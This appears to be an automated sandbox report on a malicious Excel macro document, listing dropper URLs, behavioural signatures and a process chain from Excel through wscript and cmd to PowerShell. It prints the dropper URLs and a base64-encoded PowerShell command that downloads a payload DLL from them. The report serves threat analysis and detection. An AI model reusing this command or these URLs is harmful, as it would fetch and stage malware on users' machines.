Analysis
- max time kernel
168s - max time network
160s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
07/02/2022, 22:23
General
- Target tmpkx8r5x27.xls
- Size 123KB
- Sample220207-2at38saebl
- SHA256 a4b1a3ac3d72dd610308e4567b22972e7cc07e1d121dfc3a0d4a9aec21d1b919
Malware Config
Extracted
-
ps1
-
exe.dropper
http://harperhouseproducts.com/Merchant2/ARsf1LIcOauhH1rDrIh/
-
exe.dropper
http://holubvideo.com/eln-images/zqqgZ0YXaPiWbF/
-
exe.dropper
http://magicblog.tatamotors.com/wp-includes/7faN9/
-
exe.dropper
http://chastongroditski.com/eln-images/skSsCLJtI24kZvo/
-
exe.dropper
http://seacupps.com/eln-images/AYvykzg/
-
exe.dropper
http://ericandrobin.com/cgi/qRe8dRaG2HDNOOG1/
-
exe.dropper
http://sosantiques.com/cgi/9ii/
-
exe.dropper
https://greenlawnirrigation.net/GLI_New/JRlt3mOiezE/
-
exe.dropper
https://on-lineventures.com/cgi/ks0Mp/
-
exe.dropper
http://sunriseconsultant.com/eln-images/sO4XvFBsevCRf/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops file in Windows directory 8 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies data under HKEY_USERS 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 31 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpkx8r5x27.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\wscript.exewscript c:\programdata\yhjlswle.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\programdata\ughldskbhn.bat" "3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwADoALwAvAGgAYQByAHAAZQByAGgAbwB1AHMAZQBwAHIAbwBkAHUAYwB0AHMALgBjAG8AbQAvAE0AZQByAGMAaABhAG4AdAAyAC8AQQBSAHMAZgAxAEwASQBjAE8AYQB1AGgASAAxAHIARAByAEkAaAAvACwAaAB0AHQAcAA6AC8ALwBoAG8AbAB1AGIAdgBpAGQAZQBvAC4AYwBvAG0ALwBlAGwAbgAtAGkAbQBhAGcAZQBzAC8AegBxAHEAZwBaADAAWQBYAGEAUABpAFcAYgBGAC8ALABoAHQAdABwADoALwAvAG0AYQBnAGkAYwBiAGwAbwBnAC4AdABhAHQAYQBtAG8AdABvAHIAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ANwBmAGEATgA5AC8ALABoAHQAdABwADoALwAvAGMAaABhAHMAdABvAG4AZwByAG8AZABpAHQAcwBrAGkALgBjAG8AbQAvAGUAbABuAC0AaQBtAGEAZwBlAHMALwBzAGsAUwBzAEMATABKAHQASQAyADQAawBaAHYAbwAvACwAaAB0AHQAcAA6AC8ALwBzAGUAYQBjAHUAcABwAHMALgBjAG8AbQAvAGUAbABuAC0AaQBtAGEAZwBlAHMALwBBAFkAdgB5AGsAegBnAC8ALABoAHQAdABwADoALwAvAGUAcgBpAGMAYQBuAGQAcgBvAGIAaQBuAC4AYwBvAG0ALwBjAGcAaQAvAHEAUgBlADgAZABSAGEARwAyAEgARABOAE8ATwBHADEALwAsAGgAdAB0AHAAOgAvAC8AcwBvAHMAYQBuAHQAaQBxAHUAZQBzAC4AYwBvAG0ALwBjAGcAaQAvADkAaQBpAC8ALABoAHQAdABwAHMAOgAvAC8AZwByAGUAZQBuAGwAYQB3AG4AaQByAHIAaQBnAGEAdABpAG8AbgAuAG4AZQB0AC8ARwBMAEkAXwBOAGUAdwAvAEoAUgBsAHQAMwBtAE8AaQBlAHoARQAvACwAaAB0AHQAcABzADoALwAvAG8AbgAtAGwAaQBuAGUAdgBlAG4AdAB1AHIAZQBzAC4AYwBvAG0ALwBjAGcAaQAvAGsAcwAwAE0AcAAvACwAaAB0AHQAcAA6AC8ALwBzAHUAbgByAGkAcwBlAGMAbwBuAHMAdQBsAHQAYQBuAHQALgBjAG8AbQAvAGUAbABuAC0AaQBtAGEAZwBlAHMALwBzAE8ANABYAHYARgBCAHMAZQB2AEMAUgBmAC8ALABoAHQAdABwADoALwAvAGIAbABvAGcALgBsAG8AZwBvADEAMgAzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMQA5AEcAMAA0AEwAagBBADEAVQBjAEUAMQB0AE4AOAAvACwAaAB0AHQAcAA6AC8ALwBpAG4AdAByAGEAYgBsAG8AZwAuAHQAYQB0AGEAbQBvAHQAbwByAHMALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAE0ARwBHAGkANQB6AGMAWgByAGsAbwBsAEYASAA5AC8AIgAuAHMAUABMAEkAdAAoACIALAAiACkAOwAgAGYAbwBSAGUAQQBDAGgAKAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAGkATgAgACQATQBKAFgAZABmAHMAaABEAHIAZgBHAFoAcwBlAHMANAApAHsAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXABiAG4AZQB1AGkAaABsAG8AdwBzAC4AZABsAGwAIgA7AGkAbgBWAE8AawBlAC0AdwBlAEIAcgBFAHEAVQBlAHMAVAAgAC0AdQBSAEkAIAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAC0AbwBVAHQARgBJAGwAZQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAA7AGkARgAoAHQAZQBTAHQALQBwAEEAVABoACAAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkACkAewBpAGYAKAAoAGcARQB0AC0AaQB0AEUAbQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAApAC4AbABlAE4ARwB0AGgAIAAtAGcAZQAgADQANwA0ADMANgApAHsAYgBSAGUAYQBrADsAfQB9AH0A4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1148-147-0x00000119BD870000-0x00000119BD880000-memory.dmp
memory/1148-148-0x00000119BDAA0000-0x00000119BDAB0000-memory.dmp
memory/2780-337-0x00000217AED90000-0x00000217AED94000-memory.dmp
memory/3604-141-0x00007FFC20370000-0x00007FFC20565000-memory.dmp
memory/3604-342-0x0000025A2B8D2000-0x0000025A2B8D4000-memory.dmp
memory/3604-137-0x00007FFC20370000-0x00007FFC20565000-memory.dmp
memory/3604-138-0x00007FFC20370000-0x00007FFC20565000-memory.dmp
memory/3604-139-0x00007FFC20370000-0x00007FFC20565000-memory.dmp
memory/3604-140-0x00007FFC20370000-0x00007FFC20565000-memory.dmp
memory/3604-130-0x00007FFBE03F0000-0x00007FFBE0400000-memory.dmp
memory/3604-142-0x00007FFC20370000-0x00007FFC20565000-memory.dmp
memory/3604-143-0x00007FFC20370000-0x00007FFC20565000-memory.dmp
memory/3604-144-0x00007FFC20370000-0x00007FFC20565000-memory.dmp
memory/3604-145-0x00007FFBDE1D0000-0x00007FFBDE1E0000-memory.dmp
memory/3604-146-0x00007FFBDE1D0000-0x00007FFBDE1E0000-memory.dmp
memory/3604-135-0x00007FFBE03F0000-0x00007FFBE0400000-memory.dmp
memory/3604-134-0x00007FFBE03F0000-0x00007FFBE0400000-memory.dmp
memory/3604-133-0x00007FFC20370000-0x00007FFC20565000-memory.dmp
memory/3604-338-0x0000025A2BA45000-0x0000025A2BA46000-memory.dmp
memory/3604-339-0x0000025A2ECE0000-0x0000025A2ECE4000-memory.dmp
memory/3604-341-0x0000025A2B8D3000-0x0000025A2B8D4000-memory.dmp
memory/3604-340-0x0000025A2BA45000-0x0000025A2BA46000-memory.dmp
memory/3604-136-0x00007FFC20370000-0x00007FFC20565000-memory.dmp
memory/3604-343-0x0000025A2B8D2000-0x0000025A2B8D3000-memory.dmp
memory/3604-344-0x0000025A2B8D3000-0x0000025A2B8D4000-memory.dmp
memory/3604-345-0x0000025A2B8D3000-0x0000025A2B8D4000-memory.dmp
memory/3604-346-0x0000025A2B8D3000-0x0000025A2B8D4000-memory.dmp
memory/3604-347-0x0000025A2BA46000-0x0000025A2BA47000-memory.dmp
memory/3604-348-0x0000025A2B8D5000-0x0000025A2B8D6000-memory.dmp
memory/3604-349-0x0000025A2B8D4000-0x0000025A2B8D6000-memory.dmp
memory/3604-350-0x0000025A2B8D2000-0x0000025A2B8D3000-memory.dmp
memory/3604-132-0x00007FFBE03F0000-0x00007FFBE0400000-memory.dmp
memory/3604-131-0x00007FFBE03F0000-0x00007FFBE0400000-memory.dmp
memory/3604-363-0x00007FFC20370000-0x00007FFC20565000-memory.dmp
memory/3604-362-0x00007FFBE03F0000-0x00007FFBE0400000-memory.dmp
memory/3604-361-0x00007FFBE03F0000-0x00007FFBE0400000-memory.dmp
memory/3604-360-0x00007FFBE03F0000-0x00007FFBE0400000-memory.dmp
memory/3604-359-0x00007FFBE03F0000-0x00007FFBE0400000-memory.dmp
memory/3864-357-0x000001BE905C0000-0x000001BEA87B0000-memory.dmp
memory/3864-356-0x000001BE905C0000-0x000001BEA87B0000-memory.dmp
memory/3864-355-0x00007FFBF5EF0000-0x00007FFBF69B1000-memory.dmp
memory/3864-354-0x000001BEA8760000-0x000001BEA8782000-memory.dmp